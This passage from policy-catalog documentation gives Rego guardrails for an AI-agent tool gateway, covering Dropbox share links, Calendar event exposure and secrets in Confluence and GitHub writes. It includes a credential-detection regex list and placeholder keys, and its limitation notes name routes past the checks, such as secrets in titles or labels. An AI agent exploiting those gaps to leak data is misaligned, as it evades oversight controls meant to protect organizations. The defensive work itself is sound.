§1798.121** — supports limiting the disclosure of sensitive personal information by keeping SPI-bearing files off internet-visible links. - **HIPAA §164.308(a)(4)** — supports information access management by keeping an agent from exposing PHI-bearing Dropbox files to external parties; **§164.502(e)** — supports the business-associate disclosure limit by blocking public share links, download URLs, and file requests, which would place PHI with parties that may hold no BAA. ## Tool name matching All matching is case-insensitive on `lower(input.resource.name)` and by substring (`contains`), because the DTwo gateway prefixes tool names with the configured MCP server name (e.g. `dropbox-CreateSharedLink`, `dropbox-mcp-get_sharing_link`) and an upstream server may append a trailing token (`...WithSettings`, `...V2`). The matched stems cover the three Dropbox dialects: **Public share-link creation** - Official remote server (`mcp.dropbox.com`): `*createsharedlink` - Community `amgadabdelhafez/dbx-mcp-server`: `*get_sharing_link` - Community `ngs/dropbox-mcp-server`: `*create_shared_link` (matches `dropbox_create_shared_link`) **External download / upload URL minters (official)** - `*downloadlink` (`DownloadLink`) - `*createfilerequest` (`CreateFileRequest`) Read-only sharing tools (`ListSharedLinks`, `GetSharedLinkMetadata`, `ListFileRequests`, `GetFileRequest`) and the `ngs` `dropbox_revoke_shared_link` revocation tool are intentionally **not** matched — this policy guards the *creation* of external exposure, not its enumeration or removal. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape This policy inspects **no arguments** — the decision is made purely on the tool identity and the caller's group membership. That is deliberate: Dropbox does not publish the JSON schemas for its MCP tools, so the invitee-email and link-audience argument names are unverified (see the landscape note). Narrowing a share to a specific audience or corporate-domain invitee set belongs to a **companion transform** authored once a live `tools/list` pins the real argument names — not to this default-deny policy, which would otherwise fail open on any argument shape it guessed wrong. ## Identity Group membership is read from `input.subject.claims.groups` via `object.get` chains, so a missing `subject`, missing `claims`, or missing/empty/non-array `groups` claim never grants access — the sharing tools fail closed. Group names are compared case-insensitively. ## Examples ### Allowed — read tool passes through ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "dropbox-GetFileContent", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "dropbox-GetFileContent", "args": { "path": "/Projects/roadmap.pdf" } } } } ``` `allow = true`, no reason. ### Allowed — sharing-group member creates a share link ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "dropbox-CreateSharedLink", "type": "tool" }, "subject": { "sub": "google-apps|ops@example.com", "claims": { "groups": ["dropbox-sharing"] } }, "payload": { "name": "dropbox-CreateSharedLink", "args": { "path": "/Projects/roadmap.pdf" } } } } ``` `allow = true`, no reason. ### Denied — public share link, caller not in the sharing group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "dropbox-CreateSharedLink", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "dropbox-CreateSharedLink", "args": { "path": "/Finance/2026/payroll.xlsx" } } } } ``` `allow = false`, `reason = "Creating a public Dropbox share link, download link, or file request (...)"`. ## Composition This policy is single-purpose — it blocks *creation* of external Dropbox surfaces by default. Useful companions: - A **companion transform** on `CreateSharedLink` that, once a live `tools/list` pins the real argument names, downgrades `audience: public → team` and strips non-corporate-domain invitees, so authorized sharing-group members are still constrained. That argument narrowing is deliberately left out of this policy (see Argument shape). - [`fence-sensitive-paths`](../fence-sensitive-paths/policy.md) — gates reads, listings, moves, copies, and search of fenced Dropbox trees by IdP group, so an unauthorized caller cannot even read the content this policy stops them from sharing outward. - An egress DLP/redaction policy on `GetFileContent` / `download_file` responses. ## Known limitations - **No argument inspection — audience and invitees are not narrowed here.** Because Dropbox publishes no MCP JSON schemas, the link-audience and invitee-email argument names are unverified. This policy therefore gates on tool identity + group membership only. A sharing-group member can still create a genuinely public link or invite an external email; constrain that with the companion transform once a live `tools/list` pins the argument names (see Composition). - **Tool names are unverified beyond the landscape note.** The official PascalCase names (`CreateSharedLink`, `DownloadLink`, `CreateFileRequest`) and the community snake_case names (`get_sharing_link`, `dropbox_create_shared_link`) come from the Dropbox help docs and community READMEs, not a live `tools/list`. Matching is by case-insensitive substring (`contains`), so server-name prefixes and trailing tokens like `...WithSettings`/`...V2` are already covered; but a genuinely different verb (one containing none of the stems in `external_share_stems`) would still slip through. In particular the stems are deliberately narrow to avoid catching the read/revoke tools (`list_shared_links`, `revoke_shared_link`), so a *creation* tool named with the "shared"-not-"sharing" spelling but a different verb — a hypothetical `get_shared_link` or a bare `share_link` — matches none of the stems and would pass through. (The broader stem `shared_link` cannot be added without also catching `list_shared_links`/`revoke_shared_link` and breaking their intended pass-through.) If your server exposes such a name for an external-sharing surface, add its stem to `external_share_stems` in the Rego and confirm with the dump-input debug technique before production. - **Group names are placeholders.** Replace `dropbox-sharing` with your IdP's group name at import time. Callers with no `groups` claim, an empty claim, or a non-array claim are simply not in the group (fail-closed for the grant). - **Read/revoke sharing tools are out of scope.** Enumerating existing shared links (`ListSharedLinks`, `GetSharedLinkMetadata`) or revoking them is not guarded here; pair with a read-side fence or egress policy if listing existing external links is itself sensitive. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package dropbox.ingress.guard_share_links_external # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder IdP group whose members may mint external Dropbox sharing # surfaces. Replace `dropbox-sharing` with your IdP's group name at import time. sharing_group := "dropbox-sharing" # Normalized tool name, safe against a missing resource/name. The gateway # prefixes tool names with the configured MCP server name, so all matching below # is by case-insensitive substring (`contains`, not `endswith`) to stay portable # across both a server-name prefix and a trailing API-style token. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Substring stems of the externally-reachable Dropbox sharing tools across the # three dialects. Matched by `contains` (not `endswith`), so any gateway # server-name PREFIX is tolerated AND any trailing API-style token is caught too # — e.g. `create_shared_link_with_settings` (the real Dropbox v2 endpoint name) # or a `CreateSharedLinkV2`/`...WithSettings` variant would slip past a pure # suffix match. The read/revoke tools this policy passes through # (`ListSharedLinks`, `GetSharedLinkMetadata`, `dropbox_list_shared_links`, # `dropbox_revoke_shared_link`, `ListFileRequests`, `GetFileRequest`, # `download_file`, `dropbox_download`) were verified to contain none of these # stems, so `contains` introduces no false positives. external_share_stems := [ "createsharedlink", # official CreateSharedLink (public share link) "get_sharing_link", # community dbx-mcp-server (public share link) "create_shared_link", # community ngs dropbox_create_shared_link (public share link) "downloadlink", # official DownloadLink (single-use public download URL) "createfilerequest", # official CreateFileRequest (external upload endpoint) ] is_external_share_tool if { some s in external_share_stems contains(tool_name, s) } # Caller's IdP groups, via object.get chains so a missing subject/claims/groups # fails closed (no group -> not permitted to share externally). caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # True when the caller's groups claim (an array of strings) contains the sharing # group. A malformed (non-array/string) claim makes the iteration fail -> fail # closed. Compared case-insensitively. caller_in_sharing_group if { some g in caller_groups lower(g) == sharing_group } # --- Allow rules -------------------------------------------------------------- # Pass through every tool that is not an external-sharing surface (all reads and # non-sharing writes). allow if not is_external_share_tool # Permit external-sharing tools only for members of the sharing group. allow if { is_external_share_tool caller_in_sharing_group } # --- Deny reasons ------------------------------------------------------------- reasons contains "Creating a public Dropbox share link, download link, or file request turns an internal file into an internet-visible resource in one step and is effectively irreversible once the URL is fetched, so it is blocked on the agent path by default. Route the file through an internal Dropbox channel (a shared team folder or existing workspace) instead, or ask a member of the 'dropbox-sharing' group to create the link. Contact your InfoSec team if this was a false positive." if { is_external_share_tool not caller_in_sharing_group } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Public Visibility & Guest Delegation URL: https://www.intentbasedpolicy.com/policies/google-calendar/guard-public-exposure App(s): google-calendar | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: google_calendar.ingress.guard_public_exposure | Published: 2026-07-12 | Tags: google-calendar, guard-public-exposure, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/google-calendar/guard-public-exposure/policy.md # google-calendar / guard-public-exposure **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `google_calendar.ingress.guard_public_exposure` ## What it does Blocks Google Calendar **create** and **update** event calls that would expose the event to the world or hand control of it to guests. A call is denied when any of these appear in its arguments: - `visibility` set to `"public"` — publishes the event body (summary, description, attendees, time) so anyone can read it. - `guestsCanModify` set to `true` — grants every guest, including external ones, edit rights over the event. - `guestsCanInviteOthers` set to `true` — lets guests invite additional people and widen who can see the event. - `anyoneCanAddSelf` set to `true` — lets anyone add themselves as a guest and read the event body. These flags — documented on the `nspady/google-calendar-mcp` `create-event` argument surface — turn a private meeting that carries PHI or deal-sensitive detail into a broadly readable or attacker-editable object. The check runs at ingress, before the call reaches the Calendar MCP server, so the exposed event is never created and never propagated to Google's sharing surfaces. Every other tool call passes through unchanged, and a create/update call with none of these flags set (or all of them at their safe defaults) is allowed. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission, movement, and removal of confidential information (PF-05) by stopping the agent from publishing an internal event to a publicly readable scope or delegating its control to outside guests. **P6.1** — supports constraining disclosure of personal information to third parties, since a public or guest-delegable event exposes attendee lists and free-text bodies beyond the org (Partial on the MCP path). - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing by preventing the agent from exposing attendee personal data (names, email addresses) and event free-text bodies to a publicly readable scope or to externally-delegable guests. **Art. 5(1)(c)** — supports data minimisation by keeping personal data in event bodies from being disclosed beyond its intended internal audience. **CCPA/CPRA §1798.150** — reduces nonredacted-PI exposure by blocking public publication of attendee data. ## Tool name matching The three server families expose the same write operations under different delimiter styles — `create_event` / `update_event` (Google, snake), `create-event` / `update-event` (nspady, kebab), and the consolidated `manage_event` (taylorwilsdon). The policy normalizes `-` to `_` in the tool name and matches the suffixes `create_event`, `update_event`, and `manage_event`. The gateway prepends its own configured server-name prefix (which is not standardized), so matching is by suffix rather than by exact fully-qualified name — a name like `gcal-mcp-create-event` still matches. Both `input.resource.name` (PARC) and `input.payload.name` (legacy tool-hook field) are checked; if **either** names a write-event tool the call is inspected, so a missing or divergent `resource.name` cannot fail the match open. Verify the exact tool name your gateway sends with the dump-input debug technique before relying on this in production. Read tools (`list-events`, `get-event`, …) and destructive tools (`delete-event`, `respond-to-event`) do **not** end in a `create`/`update`/ `manage` `_event` suffix, so they pass through untouched. `manage_event` also spans delete: a delete carries none of the exposure flags, so it is read at its safe defaults and allowed — this policy governs exposure, not deletion (pair it with a destructive-ops guard for that). ## Argument shape Each flag is read with `object.get(args, key, default)` against a **safe** default, so an omitted flag is treated as its non-exposing value and the call is allowed: - `visibility` defaults to `""` (compared case-insensitively to `"public"`, ignoring surrounding whitespace). - `guestsCanModify`, `guestsCanInviteOthers`, `anyoneCanAddSelf` default to `false`. Boolean flags match `true` whether sent as a JSON boolean, as the string `"true"` or `"1"` (any casing, surrounding whitespace ignored — some clients coerce booleans to strings), or as the number `1` (numeric-boolean clients), so a coerced flag cannot slip past the check. If a **write-event** call carries an `args` value that is not a JSON object (a string, array, or number), the exposure checks cannot inspect it, so the call is **denied** (fail closed) with a reason asking for a standard arguments object. A `null` or absent `args` is treated as "no flags set" and allowed. Non-write tools are never affected by this check. ## Examples ### Allowed — no exposure flags ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "google-calendar-mcp-create-event", "type": "tool" }, "payload": { "name": "google-calendar-mcp-create-event", "args": { "summary": "1:1", "start": "…", "end": "…", "visibility": "private" } } } } ``` `allow = true`, no reason. ### Denied — public visibility ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "google-calendar-mcp-create-event", "type": "tool" }, "payload": { "name": "google-calendar-mcp-create-event", "args": { "summary": "Project Atlas M&A sync", "visibility": "public" } } } } ``` `allow = false`, reason explains that public visibility publishes the event and how to fix it. ### Denied — guest control delegated ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "google-calendar-mcp-update-event", "type": "tool" }, "payload": { "name": "google-calendar-mcp-update-event", "args": { "eventId": "abc123", "guestsCanInviteOthers": true } } } } ``` `allow = false`, reason names the `guestsCanInviteOthers` flag. ## Composition Single-purpose. Useful companions from the Calendar candidate set: - An **ingress external-attendee guard** on create/update so invitations to outside domains are controlled alongside public exposure. - An **ingress `sendUpdates` transform** that defaults agent writes to silent so a mistaken create never emails an invitation. - An **egress attendee/PII scrub** on the read tools so previously-created public events are masked when read back. These stay separate policies so each is independently testable and attachable. ## Known limitations - **No break-glass group by default.** Public or self-serve visibility is rarely a legitimate agent action, so no IdP group is exempted. If a tenant needs a break-glass path, add a single `allow if` branch keyed on `input.subject.claims.groups` — e.g. allow when the caller's groups contain a placeholder like `calendar-public-publishers` — using an `object.get(input.subject, "claims", {})` chain so a missing claim fails closed (no group → not exempt → still denied). **Group names are placeholders — replace `calendar-public-publishers` with your IdP's group name at import time.** - **Flag set is fixed.** The policy checks the four documented exposure/ delegation flags. Calendar sharing also has an ACL surface (`acl.insert` with `role: reader` / `scope.type: default`) that the MCP servers in scope do **not** expose as a tool; if a future server surfaces calendar-level ACL writes, extend the matcher and flag list to cover them. - **Argument-key assumptions.** Flag names follow the `nspady` `create-event` surface (Calendar v3 camelCase). A server that renames these (e.g. `guests_can_modify` snake-case) would not be matched — confirm the exact argument keys your server accepts with the dump-input technique and add them to the flag list if they differ. - **Top-level keys only.** Flags are read from the top level of `args`, which is where every in-scope server documents them. A hypothetical server that nests the event body (e.g. `args.event.visibility`) would not be inspected and the call would be allowed — confirm your server's argument shape with the dump-input technique and extend the detections if it nests the body. - **`manage_event` action not inspected.** The consolidated tool is matched by suffix regardless of its action argument; a delete or a read-shaped action simply carries none of the exposure flags and is allowed. This policy does not restrict what `manage_event` does beyond exposure — compose a destructive-ops guard for deletes. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package google_calendar.ingress.guard_public_exposure # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --- Tool matching ------------------------------------------------------------ # The write operations appear under three delimiter styles across servers: # create_event / update_event (Google, snake_case) # create-event / update-event (nspady, kebab-case) # manage_event (taylorwilsdon, consolidated create/update/delete) # Normalize `-` to `_` and match by suffix so the gateway's configured # server-name prefix (e.g. `google-calendar-mcp-`) does not defeat the match. # Both the PARC field (resource.name) and the legacy tool-hook field # (payload.name) are checked: if either names a write-event tool the call is # inspected, so a missing or divergent resource.name cannot fail the match open. normalized_name(raw) := replace(lower(raw), "-", "_") tool_names contains normalized_name(object.get(object.get(input, "resource", {}), "name", "")) tool_names contains normalized_name(object.get(object.get(input, "payload", {}), "name", "")) write_suffixes := {"create_event", "update_event", "manage_event"} is_write_event_tool if { some name in tool_names some suffix in write_suffixes endswith(name, suffix) } # --- Arguments ---------------------------------------------------------------- # Read the args bag defensively; a missing (or null) payload/args yields {} so # every flag below resolves to its safe default. A present-but-non-object args # value (string, array, number) is flagged as malformed instead — see # malformed_args below — because none of the detections could inspect it. raw_args := object.get(object.get(input, "payload", {}), "args", {}) tool_args := raw_args if is_object(raw_args) tool_args := {} if not is_object(raw_args) # Fail closed when a write-event call carries args the detections cannot read. # (null is treated like missing args — safe defaults — not as malformed.) malformed_args if { not is_object(raw_args) raw_args != null } # A flag counts as "on" when it is boolean true, the string "true" or "1" # (compared case-insensitively, ignoring surrounding whitespace — some clients # coerce booleans to strings on the wire), or the number 1 (numeric-boolean # clients). flag_true(key) if { object.get(tool_args, key, false) == true } flag_true(key) if { v := object.get(tool_args, key, false) is_string(v) truthy_strings[lower(trim_space(v))] } truthy_strings := {"true", "1"} flag_true(key) if { object.get(tool_args, key, false) == 1 } # --- Exposure / delegation detections ----------------------------------------- public_visibility if { v := object.get(tool_args, "visibility", "") is_string(v) lower(trim_space(v)) == "public" } guests_can_modify if { flag_true("guestsCanModify") } guests_can_invite_others if { flag_true("guestsCanInviteOthers") } anyone_can_add_self if { flag_true("anyoneCanAddSelf") } exposes_event if { public_visibility } exposes_event if { guests_can_modify } exposes_event if { guests_can_invite_others } exposes_event if { anyone_can_add_self } # --- Allow rules -------------------------------------------------------------- # Pass through anything that is not a create/update event write. allow if { not is_write_event_tool } # Allow create/update writes that carry no exposure or delegation flag and # whose arguments were actually inspectable. allow if { is_write_event_tool not exposes_event not malformed_args } # --- Deny reasons ------------------------------------------------------------- reasons contains "This event sets visibility to \"public\", which publishes its summary, description, attendees, and time to anyone. Set visibility to \"private\" or \"default\" before creating or updating the event. Contact your security team if a public event is genuinely required." if { is_write_event_tool public_visibility } reasons contains "This event sets guestsCanModify to true, granting every guest — including any external attendees — edit rights over the event. Remove guestsCanModify (or set it to false) before creating or updating the event. Contact your security team if delegated edit access is genuinely required." if { is_write_event_tool guests_can_modify } reasons contains "This event sets guestsCanInviteOthers to true, letting guests invite others and widen who can see the event. Remove guestsCanInviteOthers (or set it to false) before creating or updating the event. Contact your security team if this is genuinely required." if { is_write_event_tool guests_can_invite_others } reasons contains "This event sets anyoneCanAddSelf to true, letting anyone add themselves as a guest and read the event body. Remove anyoneCanAddSelf (or set it to false) before creating or updating the event. Contact your security team if this is genuinely required." if { is_write_event_tool anyone_can_add_self } reasons contains "This event write's arguments are not a JSON object, so the exposure checks cannot inspect them. Resend the call with a standard arguments object. Contact your security team if this keeps happening." if { is_write_event_tool malformed_args } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Secrets in Confluence Pages and Comments URL: https://www.intentbasedpolicy.com/policies/confluence/block-secrets App(s): confluence | Direction: ingress | Bundles: atlassian, soc2 | Package: confluence.ingress.block_secrets | Published: 2026-07-12 | Tags: confluence, secrets, dlp, ingress, soc2, atlassian Source: https://github.com/dtwoai/policy-store/blob/main/apps/confluence/block-secrets/policy.md # confluence / block-secrets **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `confluence.ingress.block_secrets` ## What it does Blocks Confluence write calls whose body looks like it contains a live credential — an API key, password, token, or PEM-formatted private key — before the content is ever published. All other tool calls pass through unchanged. The check runs at ingress, before the call reaches the Atlassian MCP server. It inspects: - the `body` argument of **create-page** / **update-page** tools, and - the `commentBody` argument of the **footer-comment** / **inline-comment** tools. A created or updated Confluence page is visible org-wide the moment it is written (`status: "current"`), and blog posts broadcast to the whole organization. There is no draft buffer between the tool call and org-wide visibility, so **ingress denial is the only way to prevent the leak** — an egress redaction policy could mask the response returned to the agent, but it cannot un-publish a page that already exists in Confluence, its search index, watchers' notifications, and email digests. All callers are subject to the same check; there is no identity exemption. ## Compliance alignment - **SOC 2 CC6.6** — supports boundary protection against external threats by keeping live credentials out of a third-party workspace an attacker could read; **CC6.7** — supports the restriction on transmission/movement of confidential information by stopping credentials from moving into Confluence over the agent write path. - **PCI DSS 8.6.2** — supports the prohibition on hard-coded / embedded credentials by blocking passwords, keys, and tokens from being written into Confluence pages and comments. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing: authentication secrets that could be used to reach systems holding personal data never land in a Confluence page or comment history. ## Why ingress and not egress Creating or updating a Confluence page is a write with immediate, org-wide side effects. Once the call reaches Confluence the page exists at `status: "current"`, is indexed for search, and fires watcher/space notifications and email digests; a blog post broadcasts to the whole organization. Pages are versioned (an admin can restore a prior version), but the secret has already been distributed by the time anyone notices. Egress redaction would only mask what the agent reads back, not the published artifact. Ingress denial is the only control that actually prevents the leak. ## Patterns matched The policy reuses the conservative, provider-prefixed regex set from the Slack `block-secrets` model. Adding too many patterns sharply increases false positives, so the list is intentionally focused on high-confidence shapes: - `password:`, `token:`, `api_key:`, `client_secret:`, etc. in `key: value` or `key=value` form (case-insensitive) - AWS access key IDs (`AKIA…`) and likely secret access keys - GitHub personal access tokens (`ghp_…`, `github_pat_…`) - Slack bot/user/admin tokens (`xoxb-`, `xoxp-`, `xoxa-`, `xoxr-`) - Stripe live secret keys (`sk_live_…`) - Google API keys (`AIza…`) - OpenAI API keys (`sk-…`) - PEM private key headers (`-----BEGIN … PRIVATE KEY-----`) Tune this list for your environment. If your team uses other providers (Twilio, SendGrid, Datadog, etc.), add their token shapes to `secret_patterns` in `policy.md`. ## Tool name matching The Atlassian Rovo (official) MCP server names its Confluence write tools in camelCase — `createConfluencePage`, `updateConfluencePage`, `createConfluenceFooterComment`, `createConfluenceInlineComment`. The Claude connector surfaces them lowercased with an `atlassian-` prefix (`atlassian-createconfluencepage`). The community `sooperset/mcp-atlassian` server uses snake_case product-prefixed names — `confluence_create_page`, `confluence_update_page`, `confluence_update_page_section`, and (for comments) `confluence_add_comment` / `confluence_reply_to_comment`. Because the DTwo gateway prefixes tool names with the configured MCP server name (which is not standardized), the policy matches on the **suffix**, case-insensitively, across both naming schemes: - `*createconfluencepage`, `*updateconfluencepage` - `*createconfluencefootercomment`, `*createconfluenceinlinecomment` - `*confluence_create_page`, `*confluence_update_page`, `*confluence_update_page_section` - `*confluence_add_comment`, `*confluence_reply_to_comment` Verify the exact tool name your gateway sends with the [dump-input debug technique](https://docs.dtwo.ai) before relying on this in production, and add any additional write-tool suffix to `write_tool_suffixes` in `policy.md`. ## Argument shape - **Pages** (`createConfluencePage` / `updateConfluencePage` and their community equivalents) carry the content under `body`. The official connector accepts `body` as an html/markdown/ADF value — it may be a plain string or a structured ADF/JSON object (e.g. `{ "representation": "storage", "value": "…" }`). The policy scans the string form directly and, for structured bodies, JSON-serializes the object so an embedded credential still matches. - **Comments** (`createConfluenceFooterComment` / `createConfluenceInlineComment`) carry the content under `commentBody`. - Community comment tools are inspected under `body` and `comment` as well. Their exact per-field schemas are **not independently verified** (see the Atlassian landscape note) — if your gateway exposes the comment body under a different key, add it to the `body_arg_keys` set in `policy.md`. If the tool is a write tool but no inspectable body/comment argument is present (an empty or metadata-only write), the call is allowed — there is nothing to leak. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-createconfluencepage", "type": "tool" }, "payload": { "name": "atlassian-createconfluencepage", "args": { "spaceId": "1234", "title": "Sprint retro notes", "body": "We shipped the ingress policies and closed 12 issues." } } } } ``` `allow = true`, no reason. ### Denied (page body) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-createconfluencepage", "type": "tool" }, "payload": { "name": "atlassian-createconfluencepage", "args": { "spaceId": "1234", "title": "Deploy runbook", "body": "Export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE before running." } } } } ``` `allow = false`, `reason = "This Confluence write looks like it contains a secret ..."`. ### Denied (comment) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-createconfluencefootercomment", "type": "tool" }, "payload": { "name": "atlassian-createconfluencefootercomment", "args": { "pageId": "5678", "commentBody": "here's the token: ghp_abcdefghijklmnopqrstuvwxyz0123456789" } } } } ``` `allow = false`, deny reason returned. ## Composition This policy is single-purpose. Useful companions: - `apps/confluence/deny-public-publication` (PF-27 `deny-public-exposure`) — deny blog posts and writes into public/anonymous-access spaces, so content that is not a secret but is still sensitive does not broadcast org-wide. - An egress PII redaction policy on Confluence read tools (`getConfluencePage`, `searchConfluenceUsingCql`) so credentials that were published through the web UI or native API — outside the gateway's reach — are masked when an agent reads them back. See the [`bundles/atlassian`](../../../bundles/atlassian/README.md) bundle for the curated set. ## Known limitations - **Regex over text.** Secrets that do not match a known shape (rotating short-lived tokens, custom-format keys) will not be caught. Treat this as a high-signal first line of defense, not a complete DLP solution. - **Only `body` / `commentBody` are inspected.** A page `title`, macro parameters, or attachments are not scanned. A caller determined to smuggle a credential could place it in the title. Extend the `body_arg_keys` set or add a `title` rule if that is a concern in your environment. - **Not every community write tool carries an inspectable body.** The community server also exposes `confluence_add_label` (its content lives under a short `name` keyword field, not a body), `confluence_upload_attachment` (binary file content), and `confluence_move_page` (page relocation — carries no content body, only a target parent/position). These are **not** inspected — a determined caller could stage a credential as a label value or inside an uploaded file. Because the gate keys off the tool-name **suffix first**, even a text metadata field one of these tools carries (e.g. an attachment version `comment`, which is otherwise a scanned key in `body_arg_keys`) is left unscanned — the tool is never recognized as an inspected write, so no body extraction runs at all. Attachment scanning belongs in an upstream DLP scanner; if labels or attachment metadata are a concern, add the tool suffix (e.g. `confluence_add_label` / `confluence_upload_attachment`) to `write_tool_suffixes` and the relevant key (`name`) to `body_arg_keys` (accepting that many legitimate labels/comments are then scanned). - **Structured-body coverage is best-effort — provider-shaped tokens only.** Structured ADF bodies are JSON-serialized before scanning. Provider-shaped tokens (AWS `AKIA…`, `ghp_…`, `sk_live_…`, PEM headers, etc.) are reliably caught when they appear as a string leaf value anywhere in the object or array, because the regex matches the token substring regardless of the surrounding JSON. A **generic `key: value` credential expressed as a JSON field**, however, is **not** caught: a body of `{ "password": "hunter2" }` marshals to `{"password":"hunter2"}`, and the generic `password:`/`token:`-style regex expects the keyword immediately followed by `:`/`=` and the value — the interposed JSON punctuation (`"password":"…"`) defeats it, and the bare value `hunter2` has no provider shape to match on its own. The same holds for base64/hex-encoded or character-split payloads. Treat structured-body scanning as reliable for provider-prefixed secrets only; catch generic field-name credentials with an upstream DLP scanner. - **Community comment schemas unverified.** The `confluence_add_comment` / `confluence_reply_to_comment` body argument names are inferred from the community server's docs, not verified against a live schema. Confirm the key on your gateway before relying on comment coverage there. - **No identity-based exemptions.** All callers are subject to the same check. If you need an InfoSec break-glass user that can post anything, gate it with `input.subject.claims` as a separate `allow if` branch. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package confluence.ingress.block_secrets # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Patterns that look like secrets in plain text. Anchored to common shapes # (key=value pairs and provider-specific prefixes) to limit false positives. # Reused verbatim from the slack/block-secrets model. secret_patterns := [ # Generic password / token / api_key / secret_key in `key: value` or `key=value` form `(?i)(?:password|passwd|secret|token|api[_-]?key|secret[_-]?key|access[_-]?key|client[_-]?secret)\s*[:=]\s*\S+`, # AWS access key IDs `AKIA[0-9A-Z]{16}`, # AWS secret access keys (40-char base64-ish) `(?i)aws(.{0,20})?(secret|access)?.{0,20}[\s:=]+[A-Za-z0-9/+=]{40}`, # GitHub fine-grained / classic personal access tokens `ghp_[A-Za-z0-9]{36}`, `github_pat_[A-Za-z0-9_]{82}`, # Slack tokens (xoxb-, xoxp-, xoxa-, xoxr-) `xox[baprs]-[A-Za-z0-9-]{10,}`, # Stripe live secret keys `sk_live_[A-Za-z0-9]{24,}`, # Google API keys `AIza[0-9A-Za-z\-_]{35}`, # OpenAI API keys `sk-[A-Za-z0-9]{20,}`, # Generic private key headers `-----BEGIN (?:RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----`, ] # Confluence write tools whose content we inspect. The gateway prefixes tool # names with the configured MCP server name, so we match on the suffix # (case-insensitive) to stay portable across the official (camelCase, surfaced # lowercased) and community (snake_case) naming schemes. write_tool_suffixes := { "createconfluencepage", "updateconfluencepage", "createconfluencefootercomment", "createconfluenceinlinecomment", "confluence_create_page", "confluence_update_page", "confluence_update_page_section", "confluence_add_comment", "confluence_reply_to_comment", } # Argument keys that may carry inspectable body/comment text across the official # and community servers. body_arg_keys := {"body", "commentbody", "comment"} args := object.get(input.payload, "args", {}) is_confluence_write_tool if { name := lower(input.resource.name) some suffix in write_tool_suffixes endswith(name, suffix) } # All argument keys, lowercased, so matching is case-insensitive against the # body/comment key set regardless of the exact casing the MCP server uses. scanned_text contains text if { some key, value in args body_arg_keys[lower(key)] is_string(value) value != "" text := value } # Structured (ADF/JSON object or array) body — serialize so a credential # embedded as a string leaf value still matches the regexes. scanned_text contains text if { some key, value in args body_arg_keys[lower(key)] not is_string(value) value != null text := json.marshal(value) } # Detect a secret pattern in any inspected body/comment string. body_contains_secret if { some text in scanned_text some pattern in secret_patterns regex.match(pattern, text) } # Allow any tool that isn't a Confluence write we inspect. allow if { not is_confluence_write_tool } # Allow Confluence writes only when no secret pattern matches the body/comment. allow if { is_confluence_write_tool not body_contains_secret } reasons contains "This Confluence write looks like it contains a secret (API key, password, token, or private key). A created or updated page or comment is visible org-wide immediately and cannot be un-published, so it is blocked before it reaches Confluence. Store credentials in your secret manager and reference them instead. Contact your InfoSec team if this was a false positive." if { is_confluence_write_tool body_contains_secret } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Secrets in GitHub Commits & PRs URL: https://www.intentbasedpolicy.com/policies/github/block-secrets-commits App(s): github | Direction: ingress | Bundles: soc2 | Package: github.ingress.block_secrets_commits | Published: 2026-07-12 | Tags: github, secrets, dlp, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/github/block-secrets-commits/policy.md # github / block-secrets-commits **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `github.ingress.block_secrets_commits` ## What it does Blocks GitHub write tool calls whose payload looks like it carries a live credential into a repository, gist, pull request, or comment. It scans the content-bearing arguments of the write surfaces that persist agent-authored text into GitHub: - **`create_or_update_file`** — the `content` argument (the file body being committed) and the commit `message` (which lands in git history and is world-readable on public repos). - **`push_files`** — every entry of the `files` array (`files[].content`), so multi-file commits are scanned in full, not just the first file, plus the top-level commit `message`. - **`create_gist`** / **`update_gist`** — the gist `content` / `description` (and any `files` entries). - **`create_pull_request`** / **`update_pull_request`** — the `body` (and `title`); the update arm stops an agent from slipping a secret into a PR body *after* a clean create. - The PR-review write surfaces **`pull_request_review_write`** (official consolidated), **`create_pull_request_review`** (archived), 